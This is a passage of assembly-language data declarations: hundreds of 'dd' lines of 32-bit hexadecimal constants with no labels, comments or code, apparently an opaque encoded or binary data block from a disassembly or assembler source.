dd 70FB7B9Ch, 48EB00ACh, 0E29FBC41h, 3400B915h, 55C086E1h
dd 30B0C9h, 88683D43h, 0FD147CEh, 0F807840Ah, 0AF80A0EEh
dd 0CFF0CD8Ch, 0EF40128h, 7CBDE6C0h, 3AC880C9h, 6E2BF7F8h
dd 76DC0792h, 6030411Fh, 9014653Bh, 80478339h, 0E8B2C0F0h
dd 18DF6384h, 0D85FA2F7h, 0C2008980h, 0F9CC7F53h, 93FB895h
dd 916122B9h, 292E28A0h, 381618C4h, 4005B63h, 0F00F45E1h
dd 11616099h, 0DE8D8C53h, 1CC76700h, 8F260C9Bh, 9F48024Bh
dd 999CF6BFh, 6B3D3040h, 9D973809h, 4A382078h, 49356657h
dd 110064B9h, 0CB1C7B40h, 0FC09DA0Bh, 19B54Fh, 0D3C37F9Ch
dd 382F60D6h, 41B875ACh, 0C6374905h, 0C80B1983h, 13A9005Dh
dd 0CE3CBh, 0EA5E4CB4h, 62CADFA5h, 0D9B8F0C0h, 3CF795E6h
dd 8407D706h, 26979F37h, 0EB002064h, 1B39FC4Ch, 0E8EF6A22h
dd 0B9C7000Bh, 34824303h, 8400A7EBh, 0F60F1319h, 900CE42Dh
dd 0EAA5003Fh, 0F4E78068h, 0AF01BB88h, 9FCFACA6h, 0B1D02C85h
dd 0E9B40044h, 0B9BA1281h, 92001A9Bh, 0BEC823ABh, 3A9C74EAh
dd 3284E1EBh, 0C07E8CB7h, 0B2D599E9h, 0DF68E00h, 0D068725Ah
dd 1D770040h, 0D1941518h, 1400B7EAh, 0BA0DC542h, 1C49CAh
dd 0E0DD7B80h, 0A362C360h, 1D052974h, 3167C31h, 0B2E1BC40h
dd 0FE02311h, 0A513DCF7h
dd 0EB740540h, 8F1D84D7h, 3DC0E91Bh, 5CC97F9Ah, 0C4B7008Bh
dd 0EE4E5BFFh, 0F54C3073h, 58540036h, 1B3BA0C8h, 9050002Fh
dd 7FBF6448h, 62009A4Fh, 3C785EB5h, 428516h, 2AA21331h
dd 0BC0FC38Ch, 9EE8B47Ch, 1000F57Bh, 2832EFD0h, 4ED479h
dd 5B8CF9AFh, 0F2AE567Bh, 70017A00h, 0BD2576DAh, 0A310C0F3h
dd 7C5AD7A9h, 4B54FF01h, 0B531CF89h, 0F22C61D4h, 0DDD50F7Ah
dd 77234Ah, 3950E363h, 450021F1h, 17BBC822h, 90259056h
dd 52C30584h, 90DABFCCh, 19BE8FBCh, 0C6A44500h, 8897FFBDh
dd 143713EBh, 66600080h, 315B3A9Dh, 0E50702EAh, 4D2A7EDDh
dd 3C531750h, 2E798Ch, 604C9119h, 8AE2BB87h, 0F5456D00h
dd 926AD6B1h, 71B900DEh, 34A3C4A0h, 0CBFA475Eh, 79C124Dh
dd 495DFB91h, 0A6B53780h, 18086178h, 0E07D2F97h, 11CF1803h
dd 769D010Fh, 0F0D38EF6h, 0EA7598h, 4F5DD791h, 48808CD1h
dd 1C921E00h, 84EB0F43h, 0C0E14039h, 0B6DA900h, 0C148ED47h
dd 803D6F23h, 0DA373201h, 2417D1CAh, 0DC0048D0h, 859A1222h
dd 0EE97EAh, 4E16A5E2h, 4232D2E4h, 8F762FF0h, 14205D4Dh
dd 1680FDAh, 927D1F95h, 91D1270Dh, 6100A1BBh, 4631542Fh
dd 16000382h, 8E47AB4Fh, 5C15BBh, 0EAF30D0Bh, 4571A420h
dd 61426E00h, 6F89D87h, 98913EB5h, 0C7D62E00h, 0F17E8172h
dd 0B1276A00h, 0AEDC7AB7h, 0E73B00DFh, 0A56FC0A2h, 0A00F5A1h
dd 7A3FAC58h, 8BE455h, 76599319h, 7099497Fh, 9CB46800h
dd 0D023281h, 25730020h, 0B0FA396h, 1B01A561h, 0CEB90AAh
dd 5BCC9934h, 2D7962h, 0CE746754h, 1AA91D79h, 0C73D6571h
dd 99E38010h, 0D8DA15E1h, 87540031h, 0F84F41FCh, 2D25B852h
dd 630F00DEh, 3822996Ch, 180284Ah, 51CC43E6h, 7812C806h
dd 0A4CCAF13h, 901C084Dh, 2AC46797h, 1C455440h, 983EA248h
dd 0D02C185Ch, 0F8A41D8Ch, 2980E927h, 727C0426h, 8B0017A5h
dd 0F6DCBF45h, 0C584CDh, 0AA9B479Fh, 1C14665Eh, 90A8F3B0h
dd 3A30C3CFh, 0DED4188Bh, 0BB2206A7h, 2082A25Fh, 420EA413h
dd 867708Ch, 5A47B2D0h, 8F40D4C4h, 3DA0D05Fh, 61FCB00h
dd 2B92AD97h, 4243019Ah, 0AE930968h, 0B970B164h, 79F0730Eh
dd 0E21C2807h, 0C345084Ch, 720F662Ah, 0ECD107BFh, 138DFE3h
dd 0C1C9A8A0h, 46A331E9h, 9A0D28D5h, 201E3FEEh, 304796F9h
dd 222898FEh, 19988074h, 6802250Fh, 914C206Fh, 241EAEh
dd 6BF8FF28h, 7C65CB9h, 8344D700h, 898A67CBh, 0C5120065h
dd 9FA1EEF0h, 0A302DFC2h, 0CE3260BBh, 3959609Ch, 0F90D1DC3h
dd 0DA710553h, 8723C00Ch, 766F0589h, 4AFE0051h, 5FC37Bh
dd 0D533B9D9h, 8601B5C0h, 7FB89707h, 1CC6117Eh, 0A0A40010h
dd 5819EB46h, 68D8F6B2h, 0A8F818h, 26BA25ACh, 652EDB7Eh
dd 0B939B018h, 0BC7A048h, 70CDF191h, 0E656A001h, 58BEE0DDh
dd 5A893761h, 0C703BADh, 23714Bh, 88921055h, 707EE0A0h
dd 0F044FB27h, 7A871D58h, 5A04066Dh, 0AA61414Ah, 2C20FD94h
dd 45D900D7h, 0A473AD03h, 661EC0C2h, 0BF00C752h, 0F225E12Eh
dd 0A2840687h, 50D0892Ch, 9B9C2800h, 3A80DF1Bh, 0B3EE0062h
dd 23E60BECh, 0CF48DDFFh, 6A4F0D1Fh, 5CF0103Bh, 9B18C012h
dd 0A2A94DC6h, 727B3300h, 802460F1h, 3BD4710Bh, 8B1C5B50h
dd 15D580E3h, 0C89A0134h, 970055F4h, 0F967D2F4h, 3B4A5A7h
dd 542608ECh, 0CDE0E3DCh, 53007935h, 47E69A34h, 0EC7812Ch
dd 0A5286F83h, 0F11245E0h, 847B2DDDh, 6C0B2EE8h, 970E55h
dd 1C7EE653h, 0C4E00004h, 1ADCA501h, 0B7007F5Bh, 6E2F77F5h
dd 2860FBh, 0DF46EE8Dh, 0E5B2E61Dh, 0F0C0ED18h, 40D360h
dd 0EBAC8414h, 7AEC8ED5h, 0A22B080Fh, 0F7F6A03Fh, 3B43227Ch
dd 0EE9DD924h, 9A40074h, 0CC02C691h, 32492060h, 38ECEA0h
dd 0BA57EC3Fh, 0D0FFC38Ah, 0C0279C29h, 4005F100h, 59732484h
dd 3A8FA00Ah, 74C200C9h, 52FFD55Bh, 0C400778Ch, 251B6740h
dd 7E07D94Bh, 6E961C8Fh, 0AD7CC0E6h, 6D29D33Ah, 0CC78FE01h
dd 7579F391h, 324F3880h, 0D4A06094h, 6128FC00h, 277ECF8Eh
dd 86B30095h, 0F0DD253Fh, 40F9BA66h, 96DC78F0h, 690C2707h
dd 0E04EA7ECh, 1768A451h, 59B400E4h, 242B477Dh, 2800C484h
dd 0D106C27Eh, 5096FB8h, 64867CE5h, 0F680008Ah, 1A9EECFh
dd 603A6CEAh, 53A481E4h, 0B40A6761h, 62DCC8h, 3D43C636h
dd 0DDFE63C1h, 812488CEh, 0E2952C81h, 72B4AECh, 2291BC89h
dd 0DA5F705Ch, 0A00A24Dh, 64ED8CD0h, 74E6318h, 0DC86E4C3h
dd 0CBC44094h, 6E3C6C9Dh, 0A6C90013h, 69E66AE3h, 412E0050h
dd 673E8FCFh, 450068D4h, 907D927Eh, 538DDBh, 649FA0E4h
dd 43FE6141h, 0EB453E00h, 7737A23Fh, 5FF5076Eh, 60138627h
dd 0CA180AC2h, 8833D200h, 0B2F197F2h, 19C40168h, 0BCC9F38Eh
dd 0B94F20ADh, 8CA0B6E6h, 0D4F036BEh, 41232D01h, 977AB29Ah
dd 6367D041h, 4EBBC450h, 0D4F1001Bh, 3D561A8Dh, 45386976h
dd 0F88A9DA3h, 0E2D00440h, 0DDEB51h, 0CCDC7FFDh, 27D78DB5h
dd 61887700h, 33FC6B45h, 2BBC1D94h, 0A4E00F9h, 0BDD3C1DAh
dd 0F08F9A00h, 0A20E19DFh, 654303E2h, 45468D0Bh, 63FE2BF8h
dd 0DC022770h, 0BCE069E7h, 0EA084050h, 236C00D6h, 6FCEFB0Eh
dd 8F008832h, 2611788Dh, 481451FEh, 1849FDE4h, 0E2A70A0Bh
dd 0DC013F0Bh, 0C09E8D33h, 0C48C0BCh, 0BE290003h, 6A89B93Fh
dd 18B60158h, 2C30DAD2h, 427080EDh, 0ABBE3DF1h, 0E318B07Ch
dd 0F6F4FF8h, 5CDC5378h, 8D655520h, 0A40434C8h, 0D27B49E4h
dd 0FA475090h, 9888145Ch, 0B111B027h, 0DC0200DAh, 0C1680F91h
dd 7E6D1388h, 3A5C00F7h, 0C36C238Ah, 972E7700h, 83382BD2h
dd 0F46F00AEh, 65F66A46h, 0EE00A005h, 0F3F593FDh, 0E0413Bh
dd 0EDC3079Eh, 18B4E676h, 123E9400h, 0FFCDDC39h, 68E039A6h
dd 0DB366B00h, 181AC013h, 0C60007F8h, 78C3FDD9h, 1F06329h
dd 83727AC7h, 40576EB7h, 0E3C501FCh, 0A1E58000h, 0AE495C87h
dd 2B3A0B2Dh, 2600F98Eh, 4E648561h, 0EF775504h, 74C7B57Fh
dd 3C9C8BE0h, 0E41B58D8h, 80F16115h, 9F3B1A38h, 460516FDh
dd 194D0ED2h, 7511EBE0h, 401F4A80h, 7D99F9h, 7FECD0Fh
dd 145A51h, 1BCEF293h, 0C6242A8Dh, 985EAC03h, 0E0DA7CFFh
dd 7854B2h, 0BD6028B3h, 6C012DAAh, 35035DFEh, 0C83B1188h
dd 3DE0D72Ah, 3F0F6h, 0B240D405h, 9F09C344h, 0A27D009Ah
dd 6709C4ECh, 7DB1950Ch, 0E5DBB080h, 0A900AA6Fh, 89252B83h
dd 4B8CA7h, 0D66117D8h, 905086CAh, 0A5847C00h, 47BC97ACh
dd 0C291C0A6h, 0C05ADDD2h, 0E1449001h, 226D82B0h, 199FDE4h
dd 4368EAAFh, 20BFE5E8h, 2300E73Ch, 7E488EB3h, 4C179Dh
dd 49ED1659h, 53565187h, 0EE5D29C0h, 9257C1D3h, 3FC0078h
dd 0C8F7EC41h, 593B88CDh, 0C9A61275h, 0D38D1400h, 0B418D4h
dd 43E733ADh, 5D45099Ch, 0C0FEFB8h, 8055FA9Bh, 0B2CDCFD0h
dd 0D4353DECh, 69B89F00h, 0C3F03E4Ah, 500A3200h, 0C4086A1Eh
dd 0AFD2050Eh, 90C0F72Ah, 0DF9E8398h, 990A4B00h, 1B063FFCh
dd 3AC6008Ah, 0DC4C2759h, 0FB05FEBFh, 5DEBB0C2h, 0B172C881h
dd 0ADA2F8h, 1B0EC901h, 0B6577F13h, 0FC773B00h, 741F3D1Ah
dd 0A5A91CDEh, 0DDB20018h, 10CDF4D6h, 322D250Fh, 0E0401DDCh
dd 2AC99536h, 5FE8008Bh, 43908A72h, 8C035434h, 3AABE6B2h
dd 12A1B89Dh, 68133ACEh
dd 78D6AE31h, 0B36ED03Bh, 10614B00h, 0E9F98CCFh, 3E90AAh
dd 85A441C2h, 12B7573Fh, 6689FA09h, 0CA8A3BDh, 9108E08Bh
dd 0CCC23C29h, 0DE1A7D00h, 0CE64B622h, 40CA9B0h, 326AE45Fh
dd 0F29E01D0h, 0E0DDE253h, 0AB19E017h, 56847702h, 0E826E6A0h
dd 3D6EE780h, 0ED800FD3h, 375786BEh, 3400789Ah, 284BEAA6h
dd 0FE382AFh, 0F09D1647h, 0F4EDFA0h, 4800B994h, 63238EADh
dd 0FC38A0C3h, 4C92FE5Ah, 6400282Eh, 0B6318924h, 20907532h
dd 5FD3520Eh, 0B9EE81CEh, 5834D63Eh, 0C0E6775Ah, 0F90BBC91h
dd 8CFA27Bh, 18B6AD67h, 80F0BBE1h, 0D8E200F0h, 0C87E912Fh
dd 740E859Eh, 20180EEFh, 33EA9098h, 1DE8125Bh, 0A1F100D0h
dd 5FBB5126h, 0D3199400h, 0B3818C6Fh, 405350BAh, 8823FAABh
dd 0C9FA053Ah, 0F9E3A00Fh, 0DC12E150h, 5AE45FA3h, 293F6013h
dd 76F9C234h, 0E648B863h, 0DCC0C03Ch, 62E70086h, 44383EA2h
dd 350009F1h, 6A639302h, 0FED0D7h, 17EE3AFFh, 0FCD9A1C6h
dd 268FFD00h, 4A896B65h, 0FFCF0052h, 8A4E3C14h, 0E000EED9h
dd 0EAF37CE1h, 853745h, 7E93AB2Dh, 0CAA38D14h, 0F9B4081Eh
dd 199E5B81h, 3BDCFB76h, 78FA0F0h, 3AEDF07Dh, 919D574Ah
dd 0FE0D40DFh, 0EB8D76A3h, 0ABCFF500h, 9CECDA94h, 81593C42h
dd 0A1EDFD80h, 2087A931h, 6B91BD00h, 72FF75B6h, 806A00D3h
dd 40701E2Ah, 0AB00F337h, 881FF18Ch, 4720D7h, 51E8A1C2h
dd 8E8D91A8h, 8B99AA01h, 61AD8467h, 9F056B28h, 5E8AEA3Bh
dd 82B20EC0h, 0D001789h, 68D575E1h, 72F1B700h, 22DC93ECh
dd 181060AEh, 664A92A6h, 1E18C03Eh, 607A1FFh, 5881C3C2h
dd 6EB9A1Ah, 56103B28h, 4A0061B6h, 2A92C9BEh, 36ECF3Dh
dd 0ED67B52h, 67806BD5h, 770A2E22h, 0F093E6D7h, 2812818Ch
dd 8A0A846Bh, 0E4628F56h, 61347F01h, 7881B912h, 93240FD0h
dd 1CD1A182h, 1988378Ch, 0C07F609Dh, 18C686A7h, 0D098AD6Fh
dd 4E42DC81h, 2CC0A8DDh, 5C21EE68h, 6E984454h, 7E318C00h
dd 48A7CD6Ch, 881705B6h, 9014020Fh, 4F94BF40h, 0ECFF7406h
dd 79380E52h, 835658DCh, 0F036230Ch, 10088B1h, 0E95DE8A0h
dd 3ACD8C4Ah, 1B246B8Dh, 510C18C4h, 31CFD936h, 946463C4h
dd 9824E0DFh, 18DC60C9h, 0A6E3D0A1h, 3F2820FBh, 0E552ED18h
dd 3F3EA779h, 0A60F79BCh, 6FF1112h, 0E9751A6Eh, 48288AF6h
dd 53B9889h, 65F100A2h, 333DE4A8h, 4A7CD1h, 58BF072Dh
dd 922486D6h, 6F79CB60h, 0A1D58822h, 0BC166B24h, 0D736BF00h
dd 0B39EE348h, 376828CFh, 78FD0A64h, 3B79BF8h, 935A135Fh
dd 21E00830h, 5F88098h, 9FDBE7D4h, 18678077h, 0D4FD1C0Fh
dd 0BBEC5146h, 0CE4C2879h, 278A00CDh, 0F61E943Dh, 0CFD8A054h
dd 5816488Eh, 0E90211h, 687FE283h, 26171D8Ch, 0A87C1338h
dd 6ED44070h, 5DC73A00h, 2334D573h, 0B8773DA1h, 20AA3318h
dd 2C1463DDh, 0F120A8CFh, 881959D0h, 20B67E20h, 26D4684h
dd 52A0F87Dh, 10E23163h, 0F88597h, 5E3F43A7h, 0BECEF51Fh
dd 0F0D01A36h, 3A6F06C8h, 60C60A92h, 0A07FBA00h, 0A775A155h
dd 24ED0027h, 0CCD976ECh, 79C181BFh, 37FDDB5h, 0DF00C1BCh
dd 969310A5h, 3F33B399h, 0E5097Eh, 10ADBF21h, 1DA8C2E0h
dd 3A262902h, 0FF3DE6h, 2B029247h, 1E93C405h, 0C0542CB2h
dd 85A422D8h, 60E9C47Ch, 0B14EEC67h, 4AF4005Ch, 363C3A64h
dd 2CD3EB28h, 7A096E46h, 0F8899F8h, 40E4442Ch, 0F3F88296h
dd 0DCCA3A7Dh, 4FCE1E0Ch, 0AE5C46B0h, 39AC4085h, 3BB4DA0Ch
dd 8C6A60FDh, 0A5F87605h, 5C288B52h, 0F87E019Ah, 0EA4A5082h
dd 0A03C20DCh, 0C8493A7Fh, 9F523A10h, 9D077094h, 0E181CC7Eh
dd 4180EC35h, 0EA625E19h, 382C911Bh, 0EE05756Ah, 88812E27h
dd 8434574Eh, 18B7883Bh, 5AF3D803h, 0A7B16C97h, 85922B71h
dd 0E4C8BC4Fh, 8BB61AC0h, 0B17066h, 50B8EF61h, 457E9CD6h
dd 0FD39D302h, 68B353ECh, 3062A278h, 0B7E0B5BEh, 5B1E734Eh
dd 9092CCBDh, 49F2040h, 1409D6Dh, 7F9A9219h, 7003D145h
dd 20B25A8Ah, 0CE186974h, 0AF11D035h, 0A3540092h, 0D9F36746h
dd 8CC7F4Eh, 18E21C3h, 0C88F546Ah, 44D1B9D6h, 578009DCh
dd 80704C06h, 784ED045h, 60C0E888h, 2C07488Dh, 303C5A41h
dd 1F950E0h, 2CD8FB28h, 0BC028446h, 41969410h, 0D810E731h
dd 621C10A4h, 6A1DF5F9h, 0F4070480h, 64CEDAFEh, 6085507Dh
dd 249510BFh, 70CC4996h, 1000A7D1h, 4A6BC2AFh, 0B056E379h
dd 58440A68h, 5C503D28h, 0F04E846h, 83958587h, 5059D338h
dd 6FF1000Ch, 927B0B54h, 2128981Dh, 8111DBC9h, 9110A380h
dd 34A5A996h, 10ABBD07h, 7042B520h, 6F61F9Bh, 1CC424AAh
dd 0BBFB40CCh, 517EF184h, 0A6676812h, 0BA9D7001h, 4060D1DBh
dd 1809189h, 457DE548h, 0BC2089D5h, 0F3900359h, 3C204CD1h
dd 8CE1E8h, 773D7209h, 31DB690Eh, 0C86CB049h, 0CF6929Ch
dd 4FB840E8h, 35FDB31Bh, 10429420h, 5848D559h, 0B224AE48h
dd 1DE454E7h, 108DC408h, 0E6E08953h, 94FD5DE2h, 0E7AD2578h
dd 0A75B8C21h, 0D32C6018h, 0BA66F972h, 72212F09h, 0B018027Bh
dd 9E628AA2h, 4CEC5C40h, 0F59259DFh, 11B53848h, 10A08080h
dd 91A19690h, 0A8D4C360h, 0DB202000h, 1E8C9ABCh, 803C5136h
dd 25F03C59h, 35EA18DCh, 0E11CD1EDh, 2FD2F000h, 0A21F6B34h
dd 0FA8F0293h, 0FBA0C14Ah, 0F6266C64h, 467CECCEh, 0A2F200FEh
dd 0D41A140Fh, 75D5024Bh, 0C7BAE2D2h, 46AECCA4h, 39EE36h
dd 5B437041h, 392EBB27h, 5888DE1Fh, 3E575D82h, 6DE0E184h
dd 56745829h, 0A602C4AAh, 0CBA27618h, 0CE7A001Ch, 62A0A918h
dd 1383D112h, 1AA43C58h, 0F01FBEA0h, 34822D11h, 34C0E525h
dd 0A280DF1Ah, 0C5AB263Ah, 0D69062C4h, 0F0228504h, 4E04CC1h
dd 8340C497h, 86675610h, 9402A846h, 0B746BD54h, 0F017C431h
dd 0A21B546Ch, 325B760Ch, 0F81A19C6h, 0BB778A1h, 88F18958h
dd 0C8457801h, 0AC84DE34h, 23A14344h, 403BF533h, 813FB923h
dd 56951574h, 7ED00BE3h, 4C48480Eh, 3CFBA800h, 15C708F5h
dd 39A73232h, 0A8D493E6h, 0BFE96Fh, 6EECABE7h, 8FAFA33Fh
dd 451C300h, 94631F7Ch, 0AEA20218h, 0FDF36EC1h, 7E100064h
dd 7F00523Ah, 19B7CD6Bh, 0EC0075C2h, 148C9B9Eh, 9CA7916Eh
dd 50B100CCh, 663AA5FFh, 813F9494h, 0ECF4C4Ah, 0A6C4F3D5h
dd 5636C475h, 763CB1C2h, 18E80C4h, 4A90226Fh, 0A9C044C9h
dd 0DEE0717Fh, 0FC0840F6h, 0CEEA04E9h, 0C2F28EAEh, 0E4690C44h
dd 8D1BA8Ah, 0A642C06h, 9C9027E6h, 8750076h, 0AFFB0935h
dd 8642BB38h, 0D4AEA646h, 0D9472E48h, 60696438h, 239CF879h
dd 0E3118352h, 0F8819B00h, 0D5284FC9h, 6251073h, 37CA001h
dd 137FEDh, 0F44AEAD7h, 14F971Fh, 0F5DD3309h, 919C1780h
dd 712E8057h, 1A33474h, 0A9D44D94h, 82D79024h, 0EA1A5291h
dd 0BA9040D9h, 1DA10408h, 879DA4EEh, 90C0484Ch, 4646A154h
dd 0FEC22297h, 87540068h, 1D3FA012h, 9B02DAC4h, 25F650E2h
dd 0FF9C81FCh, 302DC646h, 480F52C8h, 0D3D9E6FBh, 41EEF699h
dd 0E887300Fh, 18C1310Eh, 0A79704DCh, 0E42074B7h, 84204753h
dd 0F2603D09h, 0E1409E4Ah, 0C00F5402h, 985307A9h, 0D09497E4h
dd 9D23FF83h, 0F1F2BF00h, 0B33A22A7h, 68CBAA8h, 4A62420Fh
dd 0EEEA11D1h, 3934EB4Dh, 0E7B0D437h, 0E1B67B17h, 7F70DA00h
dd 94F41Dh, 0EB1CEC9Fh
dd 4ECE06FDh, 6E1D4090h, 661851BAh, 0A8BF3238h, 847AACh
dd 6F92824Bh, 4164D7F6h, 0BFE84001h, 16EB2751h, 6CF2993h
dd 91BA52BCh, 0CD25BB06h, 21C032h, 0EECADF60h, 138CB638h
dd 713F0A1Ch, 9546700h, 0C81D5Bh, 84EA589h, 9FC55696h
dd 1E3606E8h, 518A026h, 9B429864h, 0E2748836h, 0F9005273h
dd 0FB3E275Ah, 0EEFDC2h, 0EFF4E5BCh, 0E671307Dh, 75F2BB00h
dd 804A68F3h, 6D4E0BA1h, 0A80225D3h, 0CC0343BEh, 0E65980F4h
dd 7E96393Eh, 32794A30h, 0DC066522h, 0BB560F3Bh, 0BE4609D1h
dd 2C03ED3Eh, 911CF736h, 65405CE9h, 4C60EC69h, 52B60064h
dd 7C31C6D5h, 4CB822DCh, 398A4233h, 0D307D4B2h, 0DD17D04Eh
dd 6C000119h, 47527F58h, 74578Fh, 0C20CCFF0h, 0C7F2D4B8h
dd 5C003E7Ch, 6DE002B5h, 895F46h, 9C472057h, 42FAB270h
dd 0E61AE300h, 2CF6CA07h, 0A3610927h, 8500AE7Fh, 92D65147h
dd 0CFC4FF00h, 225ACA83h, 807EA3h, 6EA9CCDAh, 89057EE4h
dd 0AE29BF00h, 2F20F67Fh, 686260E7h, 0D0A9B58Fh, 0AAB4DF00h
dd 49E529E8h, 7D323C0Bh, 361BA500h, 0F9553DC8h, 0A0B08A6Ch
dd 51613F1Ah, 0D6E52B80h, 928038B5h, 183A1305h, 988722B2h
dd 9076DC0h, 0B9BD0116h, 269471CFh, 6A308064h, 0D2500453h
dd 740E200Bh, 568B3118h, 1C87D61h, 15FF65A0h, 0FC49D6FDh
dd 3B00EC37h, 0D228E805h, 0E30203h, 0B0DCF0B7h, 238C0F54h
dd 0DA81FF0Ah, 8B8CB84Eh, 4CC25158h, 382C2848h, 781D0EB7h
dd 603FB4D5h, 8E00CB3Bh, 0BFF7172Fh, 0C40061B2h, 1551331h
dd 784380h, 919881E0h, 421273D1h, 8AF6B0C0h, 58F10Fh, 46F3BF20h
dd 930C98B0h, 0F4BD1F00h, 0B222E35Fh, 6A710082h, 0D4BAFF5Dh
dd 0B10FDF4Fh, 3FBAD65h, 0C0DCE560h, 0E42EBD0h, 0B4E8329Ch
dd 0B949FE20h, 4F06AFE9h, 0BF9FB058h, 21076008h, 85B9B1F8h
dd 9DA25400h, 6024204Dh, 672B03B2h, 8FCF32BDh, 0B05E581Ah
dd 11301730h, 0FCB880FAh, 0F89BFB4Fh, 5DD0738h, 63EF6575h
dd 280EE296h, 0B71AE81Eh, 11799E0Ch, 71150094h, 120FFB4Bh
dd 706633FFh, 219108h, 0B071ED3Dh, 0AD6A7687h, 24CF9F01h
dd 2A9A0774h, 6FB9D8C3h, 0B6E719EBh, 0C71E1004h, 89B09CD1h
dd 54B440h, 0EBBF4B9Dh, 3778199Fh, 802908F2h, 3EEF7721h
dd 829D4Ch, 503C3F53h, 33C20179h, 1D8C8C50h, 57CF7218h
dd 18CD85C8h, 0A17CD628h, 6603920Eh, 0EA5C296Eh, 30E06738h
dd 1009863h, 6CED49FBh, 70F21D03h, 5745C023h, 0F54DDD11h
dd 1B30400h, 0E96EB9F7h, 78107CAh, 73EE6FD0h, 0D4C8982Dh
dd 781E86EDh, 0F1C1C85Ch, 41D10965h, 617EF0C7h, 0D3EC017Ah
dd 771F06A8h, 0FCBFC971h, 0CA00E328h, 0C61C4A20h, 4C019311h
dd 87008303h, 0AA5B64DFh, 0DA00ABB2h, 0EFE24AC8h, 3D2A4C20h
dd 7307A290h, 86442371h, 0C21B1809h, 0C020290Ch, 0A04D50ADh
dd 90B2BB18h, 39DC00B7h, 88328F51h, 6E0060D8h, 765BABAEh
dd 3C875ACEh, 4E2B9AE3h, 3D24814h, 2F6D9F02h, 0FB7948h
dd 1281F431h, 6BE472h, 53038B8h, 26CE2877h, 47A529C0h
dd 0CED54CAh, 1244F8AAh, 76267019h, 893A75E1h, 0C2E9262h
dd 6088C92Ch, 0D127E122h, 0C001664h, 3DDCC1E3h, 769A47B4h
dd 0A19F0693h, 50A56B95h, 9D72FD00h, 2DB17E5Ah, 240C91Bh
dd 0E3A4005Dh, 0F50A7EAh, 0B995DA0Ah, 8852C19Dh, 80A68A63h
dd 4BA55418h, 0F2F29478h, 1ED7332Bh, 40B5B2A9h, 0FE99E2A8h
dd 93009D65h, 0A4693C6Eh, 0F18EAFDh, 0ACA02CD2h, 0B54FD600h
dd 60602601h, 0C4D33BA0h, 0FE070188h, 0EE2EFAE9h, 4CEB6090h
dd 7D020800h, 0E4E8D621h, 8C860EECh, 0CF6A2F56h, 179A9DB8h
dd 0E430003Bh, 511CA4E5h, 4103868h, 4C9A61F5h, 1910803Ah
dd 58E756E1h, 0B0B40093h, 45918ACBh, 0A707552Ah, 0FA88539Ah
dd 5A041AC1h, 202229B8h, 628BEB7Bh, 61092904h, 2F210C24h
dd 10AB122Bh, 0D8896571h, 2284DC08h, 3B229B7Fh, 21442089h
dd 84606500h, 1D5CEC48h, 0DFB2007Bh, 24F7F9A0h, 8800ED4Fh
dd 0BB80CCA8h, 0AAFA7Dh, 0BACD7A0Ah, 384F0478h, 9E890100h
dd 30A9A686h, 16FF0029h, 0C86031D9h, 13005DF6h, 6AE905EBh
dd 0BE29ED0h, 5230F4EDh, 88A31D01h, 0E4B4E15Ah, 7703AD35h
dd 2EC346F5h, 8071D041h, 349000CBh, 98236E9Dh, 2F011C5Ah
dd 56A7CEA1h, 3C246331h, 8C2B0091h, 99FEEB18h, 0D138A636h
dd 9F4B004Fh, 9E1CD424h, 0D0633E5Ah, 0E690D900h, 0DEA8EA65h
dd 50D60B00h, 0E49542C9h, 113400ABh, 1D577A1h, 8B0D838h
dd 700273FCh, 53C4A0CEh, 6CFC88A9h, 309DD140h, 273F3C09h
dd 47C52A80h, 0CFCB3C67h, 1C5F4000h, 2B6143AFh, 46E63E3Dh
dd 89F30D80h, 0D0740992h, 88AD7900h, 67C01648h, 4A3A3ECBh
dd 6083B3B8h, 0C7D00ABFh, 0CFF87EC3h, 110E40CAh, 0E031D612h
dd 3D10412Fh, 0A1A30145h, 2749444Eh, 0A6D0CFACh, 68002AEFh
dd 6CCB72C7h, 2B33571h, 6B1ED0B5h, 61C05655h, 381F77C6h
dd 0EBB48E0h, 0C08116B9h, 0AB6D231Fh, 934300E7h, 0C15B609Dh
dd 4A00958Dh, 0ADF12EAh, 3855090Bh, 0B80013B2h, 48FAC3E7h
dd 0CE00AA99h, 0FCBEB53Eh, 0DD6F71h, 983852A4h, 288CC8A7h
dd 1F01997Ch, 35DC12AEh, 7660813Ah, 1C0F71C4h, 403E7EA4h
dd 0E8CF467Ch, 5300BC8Eh, 0D645786Ch, 4F1CAD9h, 0BBECC459h
dd 9C34904Ah, 1207162Bh, 61DB06FEh, 89B2AE90h, 437051h
dd 0EEEAD634h, 0D081023Eh, 0DF00E4EAh, 6D89291h, 0FDA035h
dd 33E2082h, 2AF6A378h, 7B5D2B00h, 0A0E92858h, 1DDF0039h
dd 8D41B0D8h, 709D5FCh, 80C04483h, 2B114600h, 0B0DC1FF7h
dd 0BE8F8ECAh, 1604E7E9h, 0B20080D0h, 373D11C8h, 94AA80A6h
dd 0F5445448h, 0F039097Dh, 1420C647h, 831BA9E5h, 6F904303h
dd 0C953B3h, 0E8DBC018h, 5AA905D4h, 0A6DD7100h, 23F4FACAh
dd 0E9590437h, 808F2FA7h, 0CE10843Ch, 0EB545700h, 16706334h
dd 0F85B3F9Ch, 0B0E843A8h, 94B8003Eh, 0B66812FCh, 0E507C44Ah
dd 126586Dh, 7B90559h, 4DB11CC7h, 0E03AF6CFh, 0F1022F6Dh
dd 84DBC5F3h, 0AA7C6054h, 0DF85003Dh, 9135D09Fh, 270019D9h
dd 2BB84CFDh, 2CCF7Fh, 47A8A743h, 9E3B7915h, 0DE102F00h
dd 0E05C3624h, 0E5B5004Bh, 0B608BADFh, 5F790A9Fh, 41A40B00h
dd 0D5E8922Ch, 0C5FA00C1h, 5B3A6DDCh, 0C00BDB1h, 50A9AF0Eh
dd 3C2A7243h, 4C00F0C8h, 4E0DF37Dh, 5800B355h, 0E50A0EC2h
dd 347EF80h, 7C3D1814h, 0EAB44BE1h, 8E5287h, 5DB52735h
dd 3F441319h, 764800DEh, 2FB4B31Fh, 494610C7h, 6278C3B0h
dd 0C55B02FDh, 4F47338Dh, 0D8A589C1h, 7FE22816h, 0D5761B05h
dd 0C93DC8Bh, 0A65FF965h, 9AC1830h, 8D72E54Ah, 301FF400h
dd 0B200DF6Dh, 0D62EB7DDh, 86BA54h, 0A0258F29h, 67341ADCh
dd 36896E00h, 807EC993h, 0C0241CDBh, 5472003Ch, 52047BC5h
dd 0DC67C300h, 7419FBB9h, 3090A4h, 4C782F1Fh, 6C65183Dh
dd 0EE570C0Eh, 735660E0h, 67FC84h, 30B88D9Dh, 0EADB948Eh
dd 1063F500h, 0DAB9C0F4h, 0FDA90038h, 4EB21C86h, 0DC00A56Eh
